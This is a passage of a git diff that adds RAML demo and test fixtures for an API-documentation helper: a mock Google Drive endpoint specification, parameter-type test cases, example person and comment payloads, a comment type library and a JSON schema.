+        description: This is always drive#property.
+        default: drive#property
+        enum: [drive#property]
+      etag:
+        type: string
+        description: ETag of the property.
+      selfLink:
+        type: string
+        description: The link back to this property.
+      key:
+        type: string
+        description: The key of this property.
+      visibility:
+        type: string
+        description: The visibility of this property.
+      value:
+        type: string
+        description: The value of this property.
+  ImportFormat:
+    properties:
+      source:
+        type: string
+        description: The imported file's content type to convert from.
+        required: true
+      targets:
+        description: The possible content types to convert to.
+        type: string[]
+        required: true
+  Unionable:
+    type: ImportFormat | Picture
+  Arrable:
+    type: array
+    items: Picture
+  RecursiveShape:
+    (deprecated): This type is deprecated bauses it throws errors.
+    type: object
+    properties: 
+      id: string
+      relatedTo:
+        type: RecursiveShape
+        description: This is recursive.
+  Person:
+    type: object
+    discriminator: kind
+    properties:
+      kind: string
+      name: string
+  Employee:
+    type: Person
+    properties:
+      employeeId: string
+  User:
+    type: Person
+    properties:
+      userId: string
+  Feature:
+    description: |
+      A feature to test enum values in the URI parameters.
+    type: string
+    enum:
+      - A
+      - B
+      - C
+  HasHome:
+     type: object
+     properties:
+       homeAddress: string
+  IsOnFarm:
+     type: object
+     properties:
+       farmAddress: string
+  Mamal:
+    type: object
+    properties:
+      gender: string
+      name: string
+  Cat:
+    type: Mamal
+    properties:
+      color: string
+  Dog:
+    type: Mamal
+    properties:
+      fangs: string 
+  Parrot:
+    type: Mamal
+    properties:
+      tail: string 
+  MaFile:
+    type: file
+    displayName: My file
+    description: This is a file description
+    minLength: 1
+    maxLength: 10
+    # required: true
+    # pattern: test
+    # multipleOf: 20
+    fileTypes: 
+      - image/png
+      - image/jpeg
+      - image/jpg
+      - image/gif
+  lat-long:
+    properties:
+      lat: number
+      long: number
+  loc:
+    properties:
+      location: string
+  paging:
+    properties:
+      start?: number
+      page-size?: number
+
+/files:
+  type: standardRequest
+  (deprecated): This resource is deprecated and will be removed.
+  displayName: Files
+  securedBy: [OAuth]
+  description: The files endpoint
+  post:
+    (deprecated): This operation is deprecated and will be removed.
+    displayName: Insert
+    description: |
+      Insert a new file.
+      This method supports an /upload URI and accepts uploaded media with the following characteristics:
+
+      - Maximum file size: 5120GB
+      - Accepted Media MIME types: */*
+
+      Note: Apps creating shortcuts with files.insert must specify the MIME type `application/vnd.google-apps.drive-sdk`.
+
+      Apps should specify a file extension in the title property when inserting files with the API. For example, an operation to insert a JPEG file should specify something like `"title": "cat.jpg"` in the metadata.
+
+      Subsequent GET requests include the read-only fileExtension property populated with the extension originally specified in the title property. When a Google Drive user requests to download a file, or when the file is downloaded through the sync client, Drive builds a full filename (with extension) based on the title. In cases where the extension is missing, Google Drive attempts to determine the extension based on the file's MIME type.
+
+      ### HTTP request
+
+      This method provides media upload functionality through two separate URIs. For more details, see the document on media upload.
+
+      - Upload URI, for media upload requests: `POST https://www.googleapis.com/upload/drive/v2/files`
+      - Metadata URI, for metadata-only requests: `POST https://www.googleapis.com/drive/v2/files`
+  get:
+    securedBy: [basic]
+    displayName: list
+    description: |
+      Lists the user's files. Try it now or see an example.
+
+      Requests with `files.list` accept the `q` parameter, which is a search query combining one or more search terms. For more information, see Search for files.
+
+      Note: Note: This method returns all files by default. This includes files with trashed=true in the results. Use the trashed=false query parameter to filter these from the results.
+  /{fileId}:
+    displayName: A file
+    type: standardRequest
+    securedBy: [OAuth]
+    description: The file endpoint
+    uriParameters: 
+      fileId: 
+        type: string
+    get:
+      description: "Gets a file's metadata by ID."
+    patch:
+      description: Updates file metadata. This method supports patch semantics.
+    put:
+      description: Updates file metadata and/or content.
+    delete:
+      description: Permanently deletes a file by ID. Skips the trash. The currently authenticated user must own the file.
+    /copy:
+      post:
+        description: Creates a copy of the specified file.
+    /touch:
+      post:
+        description: "Set the file's updated time to the current server time."
+    /trash:
+      post:
+        description: Moves a file to the trash. The currently authenticated user must own the file.
+    /untrash:
+      post:
+        description: Restores a file from the trash.
+    /parents:
+      get:
+        description: "Lists a file's parents."
+      post:
+        description: Adds a parent folder for a file.
+      /{parentId}:
+        uriParameters:
+          parentId:
+            type: string
+            description: The ID of the parent.
+        get:
+          description: Gets a specific parent reference.
+        delete:
+          description: Removes a parent from a file.
+    /permissions:
+      get:
+        description: "Lists a file's permissions."
+      post:
+        description: |
+          Inserts a permission for a file.
+
+          Warning: Concurrent permissions operations on the same file are not supported; only the last update is applied.
+      /{permissionId}:
+        uriParameters:
+          permissionId:
+            type: string
+            description: The ID for the permission.
+        get:
+          description: Gets a permission by ID.
+        put:
+          description: |
+            Updates a permission.
+
+            **Warning**: Concurrent permissions operations on the same file are not supported; only the last update is applied.
+        delete:
+          description: |
+            Deletes a permission from a file.
+
+            Warning: Concurrent permissions operations on the same file are not supported; only the last update is applied.
+          responses:
+            204:
+        patch:
+          description: |
+            Updates a permission. This method supports patch semantics.
+
+            **Warning**: Concurrent permissions operations on the same file are not supported; only the last update is applied.
+    /revisions:
+      get:
+      /{revisionId}:
+        uriParameters:
+          revisionId:
+            type: string
+            description: The ID of the revision.
+            default: defaultRevision
+        get:
+
+        put:
+
+        delete:
+
+        patch:
+
+    /comments:
+      get:
+        is: [ results ]
+        description: Lists a file's comments.
+        queryParameters:
+          updatedMin:
+            type: datetime
+            required: false
+            description: Only discussions that were updated after this timestamp will be returned. Formatted as an RFC 3339 timestamp.
+        responses:
+          200:
+            body:
+              application/json:
+                type: CommentLib.CommentList
+                example: !include examples/commentList-example.json
+        
+      post:
+        description: Creates a new comment on the given file.
+        body:
+          application/json:
+            type: CommentLib.CommentWritable
+            example: !include examples/commentCreateRequest-example.json
+        responses:
+          201:
+            body:
+              application/json:
+                type: CommentLib.Comment
+                example: !include examples/comment-example.json
+      /{commentId}:
+        uriParameters:
+          commentId:
+            type: string
+            example: commant-id
+        get:
+          description: Gets a comment by ID.
+
+        put:
+
+        delete:
+          description: Deletes a comment.
+
+        patch:
+
+        /replies:
+          get:
+
+          post:
+
+          /{replyId}:
+            uriParameters:
+              replyId:
+                type: string
+                description: The ID of the reply.
+            get:
+              description: Gets a reply.
+
+            put:
+              description: Updates an existing reply.
+
+            delete:
+              description: Deletes a reply.
+
+            patch:
+              description: Updates an existing reply. This method supports patch semantics.
+
+    /realtime:
+
+      get:
+        description: Exports the contents of the Realtime API data model associated with this file as JSON.
+
+      put:
+        displayName: update
+        description: |
+          Overwrites the Realtime API data model associated with this file with the provided JSON data model.
+
+          This method supports an /upload URI and accepts uploaded media with the following characteristics:
+
+          - **Maximum file size**: 10MB
+          - **Accepted Media MIME** types: */*
+
+    /properties:
+      get:
+        description: "Lists a file's properties."
+
+      post:
+        description: Adds a property to a file.
+
+      /{propertyKey}:
+        uriParameters:
+          propertyKey:
+            type: string
+            description: The key of the property.
+        get:
+
+        put:
+
+        delete:
+
+        patch:
+
+  /trash:
+    delete:
+      description: "Permanently deletes all of the user's trashed files."
+  /{folderId}/children:
+    post:
+      description: Inserts a file into a folder.
+
+    get:
+      description: "Lists a folder's children. To list all children of the root folder, use the alias root for the folderId value."
+
+    /{childId}:
+      delete:
+        description: Removes a child from a folder.
+      get:
+        description: Gets a specific child reference.
+/about:
+  displayName: About
+  get:
+    (clearanceLevel):
+      level: high
+      signature: 230-ghtwvfrs1itr
+    description: Gets the information about the current user along with Drive API settings.
+
+/changes:
+  displayName: Changes
+  get:
+
+  /{changeId}:
+    uriParameters:
+      changeId:
+        type: string
+        description: The ID of the change.
+    get:
+      description: Gets a specific change.
+
+  /watch:
+    post:
+      queryParameters:
+        spaces:
+          type: string
+          required: false
+          description: |
+            A comma-separated list of spaces to query. Supported values are:
+
+            - **drive**
+            - **appDataFolder**
+            - **photos**
+      description: "Watch for all changes to a user's Drive."
+      headers:
+        x-test: string
+    get:
+      description: Dummy function
+/permissionIds/{email}:
+  uriParameters:
+    email:
+      type: string
+      description: The email address for which to return a permission ID
+  get:
+    description: Returns the permission ID for an email address.
+
+/apps:
+  displayName: Apps
+  get:
+    description: "Lists a user's installed apps."
+  /{appId}:
+    uriParameters:
+      appId:
+        type: string
+        description: The ID of the app.
+    get:
+      description: Gets a specific app.
+/channels/stop:
+  post:
+    description: |
+      Stop watching for changes to a resource.
+      If successful, this method returns an empty response body.
+/teamdrives:
+  displayName: Teamdrives
+  post:
+    displayName: insert
+    description: Creates a new Team Drive.
+
+  get:
+    displayName: list
+    description: Lists the user's Team Drives.
+  /{teamDriveId}:
+    uriParameters:
+      teamDriveId:
+        description: The ID of the Team Drive
+    delete:
+      description: |
+        Permanently deletes a Team Drive for which the user is an organizer. The Team Drive cannot contain any untrashed items.
+    get:
+      description: Gets a Team Drive's metadata by ID.
+    put:
+      description: Updates a Team Drive's metadata
+/typeFromLibraryEndpoint:
+  post:
+    body:
+      type: myLib.TypeFromLibray
+    responses:
+      200:
+/referenceId:
+  post:
+    body:
+      application/json:
+        type: SchemaPerson
+/external-data-type:
+  post:
+    body:
+      application/json:
+        type: !include types/external-type.raml
+/{groupId}/{assetId}/{version}:
+  uriParameters: 
+    assetId: string
+    groupId: string
+    version: number
+  get:
+/test-data-types:
+  post:
+    body: 
+      application/json:
+        properties: 
+          file:
+            displayName: A file
+            description: This is a file description
+            maxLength: 10
+            minLength: 1
+            required: true
+            # pattern: test
+            type: file
+            # multipleOf: 20
+            fileTypes: 
+              - image/png
+              - image/jpeg
+              - image/jpg
+              - image/gif
+    responses: 
+      200:
+        description: Any body
+  put:
+    body: 
+      application/json:
+        properties: 
+          homeAnimal: [HasHome | IsOnFarm,  Dog | Cat | Parrot]
+/parameters:
+  get:
+    displayName: All parameter types
+    headers: 
+      Accept:
+        default: application/json
+        description: Selects the response's media type, when supported.
+        enum: 
+          - application/json
+          - application/xml
+          - text/csv
+        required: false
+      x-required:
+        required: true
+      x-object-header:
+        type: object
+        properties: 
+          key: string
+          value:
+            type: any
+            description: Any value
+      If-Modified-Since:
+        type: datetime
+        example: Sun, 28 Feb 2016 16:41:41 GMT
+        format: rfc2616 # this time it's required, otherwise, the example format is invalid
+    queryParameters: 
+      unionable:
+        type: string | number
+        description: One of the two
+        example: 25
+        default: no
+      complexUnionable:
+        type: Feature | Product
+        description: Super confusing for a query param
+        examples:
+          One: 
+            - id: test value
+      mixedUnionable:
+        type: Feature | string
+        description: At least one should work
+      combo:
+        type: string
+        default: Some value
+        description: A combo of all string properties
+        displayName: Combo (string)
+        enum: 
+          - value 1
+          - value 2
+          - value 3
+          - value 4
+          - value 5
+          - value 6
+          - value 7
+          - value 8
+          - value 9
+          - value 10
+        examples:
+          Example 1: value 1
+          Example 2: value 2
+        maxLength: 100
+        minLength: 1
+        pattern: .*
+        required: true
+      comboNum:
+        type: number
+        default: 20
+        description: A combo with a number type
+        displayName: Combo (number)
+        enum: 
+          - 5
+          - 10
+          - 20
+          - 40
+          - 50
+          - 75
+          - 100
+        examples:
+          Minimum: 5
+          Maximum: 100
+        minimum: 5
+        maximum: 100
+        multipleOf: 5
+        format: int64
+      birthday:
+        type: date-only
+        example: 2015-05-23
+      lunchtime:
+        type: time-only
+        example: 12:30:00
+      fireworks:
+        type: datetime-only
+        example: 2015-07-04T21:00:00
+      created:
+        type: datetime
+        example: 2016-02-28T16:41:41.090Z
+        format: rfc3339
+      userPicture:
+        type: file
+        fileTypes: ['image/jpeg', 'image/png']
+        maxLength: 307200
+      customFile:
+        type: file
+        fileTypes: ['*/*'] # any file type allowed
+        maxLength: 1048576
+      aBoolean:
+        type: boolean
+        description: This is a boolean value without a default value.
+        displayName: Boolean
+      aBooleanWithDefault:
+        type: boolean
+        default: true
+        displayName: Boolean with default
+        description: This is a boolean value with default value.
+      nillable:
+        type: nil
+        description: This can be null
+      nillableUnion:
+        type: string | nil
+/query-params:
+  /bool:
+    get:
+      queryParameters: 
+        aBoolean:
+          type: boolean
+          description: This is a boolean value without a default value.
+          displayName: Boolean
+        aBooleanWithDefault:
+          type: boolean
+          default: true
+          displayName: Boolean with default
+          description: This is a boolean value with default value.
+        nillableBoolean:
+          type: boolean | nil
+          displayName: Boolean with nil
+          description: This is a boolean value with a nil union value.
+        stringBoolean:
+          type: boolean | string
+          displayName: Boolean with string
+          description: This is a boolean value with a string union value.
+  /string:
+    get:
+      queryParameters: 
+        string:
+          type: string
+          description: Simple string
+        enum:
+          type: string
+          enum: [development, staging, qa, production]
+          description: Enum string
+        minMaxLnegth:
+          type: string
+          minLength: 5
+          maxLength: 15
+          description: Min 5 max 15
+        patternLettersOnly:
+          type: string
+          pattern: '[a-zA-Z]*'
+          description: Letters only pattern
+        patternNumbersOnly:
+          type: string
+          pattern: '[0-9]*'
+          description: Number only pattern
+        displayName:
+          type: string
+          displayName: String 6
+          description: With display name
+        notRequired:
+          type: string
+          required: false
+          description: Optional value
+        withDefault:
+          type: string
+          default: This is a default
+          description: Default value
+        withDefaultNotRequired:
+          type: string
+          default: This is a default
+          required: false
+          description: Default value and not required
+        stringUnionNumber:
+          type: string | number
+          description: Either string or number
+        withExamples:
+          type: string
+          examples:
+            Word 1: Option 1
+            Word 2: Option 2
+            Word 3: 123456
+          description: String with examples.
+        anArray:
+          type: string[]
+          description: Array of strings.
+  /dates:
+    get:
+      queryParameters: 
+        dateOnly:
+          type: date-only
+          description: Date only, like "2015-05-23"
+        timeOnly:
+          type: time-only
+          description: Time only, like "12:30:00"
+        dateTimeOnly:
+          type: datetime-only
+          description: Date and time only, like "2015-07-04T21:00:00"
+        rfc3339:
+          type: datetime
+          format: rfc3339
+          description: Date and time, rfc3339 format, like "2016-02-28T16:41:41.090Z"
+        rfc2616:
+          type: datetime
+          format: rfc2616 
+          description: Date and time, rfc2616 format, like "Sun, 28 Feb 2016 16:41:41 GMT"
+        dateTimeNoFormat:
+          type: datetime
+          description: Date and time, assumed rfc3339 format, like "2016-02-28T16:41:41.090Z"
+        dateOnlyDefaultValue:
+          type: date-only
+          default: 2015-05-23
+          description: Date only, with a default value.
+        timeOnlyDefaultValue:
+          type: time-only
+          default: 12:30:00
+          description: Time only, with a default value.
+        rfc3339DefaultValue:
+          type: datetime
+          format: rfc3339
+          default: 2016-02-28T16:41:41.090Z
+          description: Date and time, rfc3339 format, default value
+        rfc2616DefaultValue:
+          type: datetime
+          format: rfc2616 
+          default: Sun, 28 Feb 2016 16:41:41 GMT
+          description: Date and time, rfc2616 format, default value
+        dateTimeDefaultValue:
+          type: datetime
+          default: 2016-02-28T16:41:41.090Z
+          description: Date and time, with a default value.
+        dateTimeUnion:
+          type: datetime | string
+          description: Date and time union with string.
+        dateTimeNil:
+          type: datetime | nil
+          description: Required but nillable.
+        dateArray:
+          type: datetime[]
+          description: A list of datetime
+  /numbers:
+    get:
+      queryParameters: 
+        simple: number
+        intFormat:
+          type: number
+          format: int
+          description: int format number
+        int8Format:
+          type: number
+          format: int8
+          description: int8 format number
+        int16Format:
+          type: number
+          format: int16
+          description: int16 format number
+        int32Format:
+          type: number
+          format: int32
+          description: int32 format number
+        int64Format:
+          type: number
+          format: int64
+          description: int64 format number
+        longFormat:
+          type: number
+          format: long
+          description: long format number
+        floatFormat:
+          type: number
+          format: float
+          description: float format number
+        doubleFormat:
+          type: number
+          format: double
+          description: double format number
+        floatWithMultiple:
+          type: number
+          format: float
+          multipleOf: 1.1
+          description: float format number with multiple of.
+        integerFormat:
+          type: integer
+          description: An integer
+        integerMinMax:
+          type: integer
+          minimum: 0
+          maximum: 100
+          multipleOf: 5
+          description: Min, max, and multiple of.
+        integerUnionString:
+          type: integer | string
+          description: Union with string
+        integerUnionNil:
+          type: integer | nil
+          description: Required but nillable
+        notRequired:
+          type: integer
+          required: false
+          description: Required but nillable
+        integerDefault:
+          type: integer
+          default: 12
+          description: Integer with default "12"
+        floatDefault:
+          type: number
+          format: float
+          multipleOf: 1.1
+          default: 2.2
+          description: float with default if "2.2"
+        integerArray:
+          type: integer[]
+          description: A list of integers
+/queryString:
+  get:
+    queryString:
+      type: [paging,  lat-long | loc ]
+      examples:
+        first:
+          value:
+            start: 2
+            lat: 12
+            long: 13
+        second:
+          value:
+            start: 2
+            page-size: 20
+            location: 1,2
+        third:  # not valid
+          value:
+            lat: 12
+            location: 2
+          strict: false # because it's not valid
+/traits:
+  get:
+    is: [Paginated: {resourceType: Person}]
+    headers:
+      x-people-op-id:
+        (annotationTest):
+        type: string
+        pattern: ^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[4][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}$
+        description: People ops ID. It is UUID v4 string
+        example: 9719fa6f-c666-48e0-a191-290890760b30
+/annotations:
+  (clearanceLevel):
+      level: high
+      signature: 230-ghtwvfrs1itr
+  get:
+    (deprecated): This method is deprecated and will be removed.
+    responses: 
+      200:
+        description: 
+/xml:
+  displayName: People
+  description: The people API used to access data about the people.
+  post:
+    displayName: Create a person
+    description: Use this method to add new person
+    body:
+      application/xml:
+        type: !include schemas/person.xsd
+        example: !include examples/person.xml
+/json:
+  post:
+    body: 
+      application/json:
+        type: !include schemas/person.json
+        example: !include examples/person.json
+/examples:
+  get:
+    displayName: Included example
+    responses: 
+      200:
+        body: 
+          application/json:
+            type: object
+            example: !include examples/person.raml
+/body-tracking:
+  get:
+    displayName: Common RAML example
+    description: |
+      The payload has the same example for both mime types coming from RAML 
+      declaration.
+    body: 
+      application/json:
+        type: AppPerson
+        example: !include examples/person.raml
+      application/xml:
+        type: AppPerson
+        example: !include examples/person.raml
+  put:
+    displayName: Different examples
+    description: |
+      The payload has different examples for both mime types. Both comming for the corresponding 
+      schema.
+    body: 
+      application/json:
+        type: AppPerson
+        example: !include examples/person.json
+      application/xml:
+        type: AppPerson
+        example: !include examples/person.xml
+  post:
+    displayName: Reused examples
+    description: |
+      This payload is exactly the same as `put` payload.
+      This should render how the examples behave when reused.
+    body: 
+      application/json:
+        type: AppPerson
+        example: !include examples/person.json
+      application/xml:
+        type: AppPerson
+        example: !include examples/person.xml
+  delete:
+    description: |
+      This payload has only one mime.
+    body: 
+      application/json:
+        type: AppPerson
+        example: !include examples/person.json
+  patch:
+    displayName: No example
+    description: |
+      This payload has no example at all.
+    body: 
+      application/json:
+        type: AppPerson
+/not-shared:
+  post:
+    body: 
+      application/json:
+        type: object
+        properties: 
+          id: number
+          name: string
+        example:
+          id: 1234567890
+          name: Pawel Uchida-Psztyc
diff --git a/demo/apis/amf-helper-api/examples/comment-example.json b/demo/apis/amf-helper-api/examples/comment-example.json
new file mode 100644
index 0000000..8b3c2a1
--- /dev/null
+++ b/demo/apis/amf-helper-api/examples/comment-example.json
@@ -0,0 +1,42 @@
+{
+  "kind": "drive#comment",
+  "commentId": "AAAABGvGYkY",
+  "createdDate": "2017-01-26T22:27:04.655Z",
+  "modifiedDate": "2017-01-26T22:27:31.702Z",
+  "author": {
+    "kind": "drive#user",
+    "displayName": "John Doe",
+    "picture": {
+      "url": "//lh6.googleusercontent.com/-veehGFoGpso/AAAAAAAAAAI/AAAAAAACr8Y/YmMhVu8Ol-I/s96-k-no/photo.jpg"
+    },
+    "isAuthenticatedUser": true
+  },
+  "htmlContent": "Test comment",
+  "content": "Test comment",
+  "deleted": false,
+  "status": "open",
+  "context": {
+    "type": "text/html",
+    "value": "Hello"
+  },
+  "anchor": "kix.o11n7hdrivuh",
+  "fileId": "s7ggG6jZv5szIQL8Y5Ug-Iw",
+  "fileTitle": "Dummy file",
+  "replies": [{
+    "kind": "drive#commentReply",
+    "replyId": "AAAABGvGYkc",
+    "createdDate": "2017-01-26T22:27:31.702Z",
+    "modifiedDate": "2017-01-26T22:27:31.702Z",
+    "author": {
+      "kind": "drive#user",
+      "displayName": "John Doe",
+      "picture": {
+        "url": "//lh6.googleusercontent.com/-veehGFoGpso/AAAAAAAAAAI/AAAAAAACr8Y/YmMhVu8Ol-I/s96-k-no/photo.jpg"
+      },
+      "isAuthenticatedUser": true
+    },
+    "htmlContent": "This is the reply",
+    "content": "This is the reply",
+    "deleted": false
+  }]
+}
diff --git a/demo/apis/amf-helper-api/examples/commentCreateRequest-example.json b/demo/apis/amf-helper-api/examples/commentCreateRequest-example.json
new file mode 100644
index 0000000..25d7e39
--- /dev/null
+++ b/demo/apis/amf-helper-api/examples/commentCreateRequest-example.json
@@ -0,0 +1,7 @@
+{
+  "content": "Comment body",
+  "context": {
+    "type": "text/plain",
+    "value": "Comment body"
+  }
+}
diff --git a/demo/apis/amf-helper-api/examples/commentList-example.json b/demo/apis/amf-helper-api/examples/commentList-example.json
new file mode 100644
index 0000000..968bc06
--- /dev/null
+++ b/demo/apis/amf-helper-api/examples/commentList-example.json
@@ -0,0 +1,48 @@
+{
+  "kind": "drive#commentList",
+  "selfLink": "https://www.googleapis.com/drive/v2/files/123dK-h456ysbyF_ol3Pc13B789j1qgb4wAbCdIQrNBY/comments",
+  "nextPageToken": "string",
+  "nextLink": "string",
+  "items": [{
+    "kind": "drive#comment",
+    "commentId": "AAAABGvGYkY",
+    "createdDate": "2017-01-26T22:27:04.655Z",
+    "modifiedDate": "2017-01-26T22:27:31.702Z",
+    "author": {
+      "kind": "drive#user",
+      "displayName": "John Doe",
+      "picture": {
+        "url": "//lh6.googleusercontent.com/-veehGFoGpso/AAAAAAAAAAI/AAAAAAACr8Y/YmMhVu8Ol-I/s96-k-no/photo.jpg"
+      },
+      "isAuthenticatedUser": true
+    },
+    "htmlContent": "Test comment",
+    "content": "Test comment",
+    "deleted": false,
+    "status": "open",
+    "context": {
+      "type": "text/html",
+      "value": "Hello"
+    },
+    "anchor": "kix.o11n7hdrivuh",
+    "fileId": "s7ggG6jZv5szIQL8Y5Ug-Iw",
+    "fileTitle": "Dummy file",
+    "replies": [{
+      "kind": "drive#commentReply",
+      "replyId": "AAAABGvGYkc",
+      "createdDate": "2017-01-26T22:27:31.702Z",
+      "modifiedDate": "2017-01-26T22:27:31.702Z",
+      "author": {
+        "kind": "drive#user",
+        "displayName": "John Doe",
+        "picture": {
+          "url": "//lh6.googleusercontent.com/-veehGFoGpso/AAAAAAAAAAI/AAAAAAACr8Y/YmMhVu8Ol-I/s96-k-no/photo.jpg"
+        },
+        "isAuthenticatedUser": true
+      },
+      "htmlContent": "This is the reply",
+      "content": "This is the reply",
+      "deleted": false
+    }]
+  }]
+}
diff --git a/demo/apis/amf-helper-api/examples/person.json b/demo/apis/amf-helper-api/examples/person.json
new file mode 100644
index 0000000..a4c9b01
--- /dev/null
+++ b/demo/apis/amf-helper-api/examples/person.json
@@ -0,0 +1,14 @@
+{
+  "id": "R34fg663H9KW9MMSKISI",
+  "name": "Pawel Psztyc",
+  "birthday": "1983-10-20",
+  "gender": "male",
+  "url": "https://domain.com/profile/pawel.psztyc",
+  "image": {
+    "url": "https://domain.com/profile/pawel.psztyc/image",
+    "thumb": "https://domain.com/profile/pawel.psztyc/image/thumb"
+  },
+  "tagline": "Some text about me.",
+  "language": "en_GB",
+  "etag": "W\\244m4n5kj3gbn2nj4k4n4"
+}
diff --git a/demo/apis/amf-helper-api/examples/person.raml b/demo/apis/amf-helper-api/examples/person.raml
new file mode 100644
index 0000000..5475cdf
--- /dev/null
+++ b/demo/apis/amf-helper-api/examples/person.raml
@@ -0,0 +1,13 @@
+#%RAML 1.0 NamedExample
+
+id: "R34fg663H9KW9MMSKISI"
+name: "Pawel Psztyc"
+birthday: "1983-10-20"
+gender: "male"
+url: "https://domain.com/profile/pawel.psztyc"
+image:
+  url: "https://domain.com/profile/pawel.psztyc/image"
+  thumb: "https://domain.com/profile/pawel.psztyc/image/thumb"
+tagline: "Some text about me."
+language: "en_GB"
+etag: "W\\244m4n5kj3gbn2nj4k4n4"
diff --git a/demo/apis/amf-helper-api/examples/person.xml b/demo/apis/amf-helper-api/examples/person.xml
new file mode 100644
index 0000000..b4777c7
--- /dev/null
+++ b/demo/apis/amf-helper-api/examples/person.xml
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<resource error="false" type="AppPerson">
+  <id>Qawer63J73HJ6khjswuqyq62382jG21s</id>
+  <name>John Smith</name>
+  <birthday>1990-10-12</birthday>
+  <gender>male</gender>
+  <url>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s</url>
+  <image>
+    <url>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image</url>
+    <thumb>https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image/thumb</thumb>
+  </image>
+  <tagline>Hi, I'm John!</tagline>
+  <language>en_US</language>
+</resource>
diff --git a/demo/apis/amf-helper-api/libraries/comment-lib.raml b/demo/apis/amf-helper-api/libraries/comment-lib.raml
new file mode 100644
index 0000000..b2ed23e
--- /dev/null
+++ b/demo/apis/amf-helper-api/libraries/comment-lib.raml
@@ -0,0 +1,143 @@
+#%RAML 1.0 Library
+
+types:
+  User: !include ../types/user.raml
+  ReplyWritable:
+    properties:
+      content:
+        type: string
+        required: false
+        description: |
+          The plain text content used to create this reply.
+          This is not HTML safe and should only be used as a starting point to make edits to a
+          reply's content. This field is required on inserts if no verb is specified (resolve/reopen).
+      verb:
+        required: false
+        description: |
+          The action this reply performed to the parent comment. When creating a new reply this is the action to be perform to the parent comment. Possible values are:
+          - **resolve** - To resolve a comment.
+          - **reopen** - To reopen (un-resolve) a comment.
+  Reply:
+    type: ReplyWritable
+    properties:
+      kind:
+        type: string
+        description: This is always drive#commentReply.
+        default: drive#commentReply
+        enum: [drive#commentReply]
+      replyId:
+        description: The ID of the reply.
+      createdDate:
+        type: datetime
+        description: The date when this comment was first created.
+      modifiedDate:
+        type: datetime
+        description: The date when this comment or any of its replies were last modified.
+      author:
+        type: User
+        description: The user who wrote this comment.
+      htmlContent:
+        description: HTML formatted content for this reply.
+      deleted:
+        description: Whether this reply has been deleted. If a reply has been deleted the content will be cleared and this will only represent a reply that once existed.
+        type: boolean
+  CommentWritable:
+    properties:
+      content:
+        description: The plain text content used to create this comment. This is not HTML safe and should only be used as a starting point to make edits to a comment's content.
+      context:
+        description: The context of the file which is being commented on.
+        type: object
+        properties:
+          type:
+            type: string
+            description: The MIME type of the context snippet.
+          value:
+            type: string
+            description: Data representation of the segment of the file being commented on. In the case of a text file for example, this would be the actual text that the comment is about.
+  Comment:
+    type: CommentWritable
+    properties:
+      kind:
+        type: string
+        description: This is always drive#comment.
+        default: drive#comment
+        enum: [drive#comment]
+      selfLink:
+        description: A link back to this comment.
+        required: false
+      commentId:
+        description: The ID of the comment.
+      createdDate:
+        type: datetime
+        description: The date when this comment was first created.
+      modifiedDate:
+        type: datetime
+        description: The date when this comment or any of its replies were last modified.
+      author:
+        type: User
+        description: The user who wrote this comment.
+      htmlContent:
+        description: HTML formatted content for this comment.
+      deleted:
+        description: Whether this comment has been deleted. If a comment has been deleted the content will be cleared and this will only represent a comment that once existed.
+        type: boolean
+      status:
+        description: |
+          The status of this comment. Status can be changed by posting a reply to a comment with the desired status.
+          - **open** - The comment is still open.
+          - **resolved** - The comment has been resolved by one of its replies.
+      anchor:
+        description: A region of the document represented as a JSON string. See anchor documentation for details on how to define and interpret anchor properties.
+      fileId:
+        description: The file which this comment is addressing.
+      fileTitle:
+        description: The title of the file which this comment is addressing.
+      replies:
+        type: Reply[]
+        description: Replies to this post.
+  CommentList:
+    properties:
+      kind:
+        type: string
+        default: drive#commentList
+        enum: [drive#commentList]
+        description: This is always drive#commentList.
+      nextPageToken:
+        type: string
+        required: false
+        description: The token to use to request the next page of results.
+      selfLink:
+        type: string
+        description: A link back to this list.
+      nextLink:
+        type: string
+        required: false
+        description: A link to the next page of comments.
+      items:
+        type: Comment[]
+        required: false
+        description: The actual list of comments.
+  ReplyList:
+    properties:
+      kind:
+        type: string
+        default: drive#commentReplyList
+        enum: [drive#commentReplyList]
+        description: This is always drive#commentReplyList.
+      nextPageToken:
+        type: string
+        description: The token to use to request the next page of results.
+        required: false
+      selfLink:
+        type: string
+        description: A link back to this list.
+      nextLink:
+        type: string
+        description: A link to the next page of comments.
+        required: false
+      items:
+        type: array
+        required: false
+        description: The actual list of reply.
+        items: Reply
diff --git a/demo/apis/amf-helper-api/library.raml b/demo/apis/amf-helper-api/library.raml
new file mode 100644
index 0000000..138544c
--- /dev/null
+++ b/demo/apis/amf-helper-api/library.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 Library
+usage: This is a Library raml
+
+types:
+  TypeFromLibray:
+    properties:
+      age: number
diff --git a/demo/apis/amf-helper-api/schemas/person.json b/demo/apis/amf-helper-api/schemas/person.json
new file mode 100644
index 0000000..d840c13
--- /dev/null
+++ b/demo/apis/amf-helper-api/schemas/person.json
@@ -0,0 +1,104 @@
+{
+  "$id": "http://example.com/example.json",
+  "type": "object",
+  "definitions": {},
+  "$schema": "http://json-schema.org/draft-07/schema#",
+  "properties": {
+    "id": {
+      "$id": "/properties/id",
+      "type": "string",
+      "title": "The Id Schema ",
+      "default": "",
+      "examples": [
+        "R34fg663H9KW9MMSKISI"
+      ]
+    },
+    "name": {
+      "$id": "/properties/name",
+      "type": "string",
+      "title": "The Name Schema ",
+      "default": "",
+      "examples": [
+        "Pawel Psztyc"
+      ]
+    },
+    "birthday": {
+      "$id": "/properties/birthday",
+      "type": "string",
+      "title": "The Birthday Schema ",
+      "default": "",
+      "examples": [
+        "1983-10-20"
+      ]
+    },
+    "gender": {
+      "$id": "/properties/gender",
+      "type": "string",
+      "title": "The Gender Schema ",
+      "default": "",
+      "examples": [
+        "male"
+      ]
+    },
+    "url": {
+      "$id": "/properties/url",
+      "type": "string",
+      "title": "The Url Schema ",
+      "default": "",
+      "examples": [
+        "https://domain.com/profile/pawel.psztyc"
+      ]
+    },
+    "image": {
+      "$id": "/properties/image",
+      "type": "object",
+      "properties": {
+        "url": {
+          "$id": "/properties/image/properties/url",
+          "type": "string",
+          "title": "The Url Schema ",
+          "default": "",
+          "examples": [
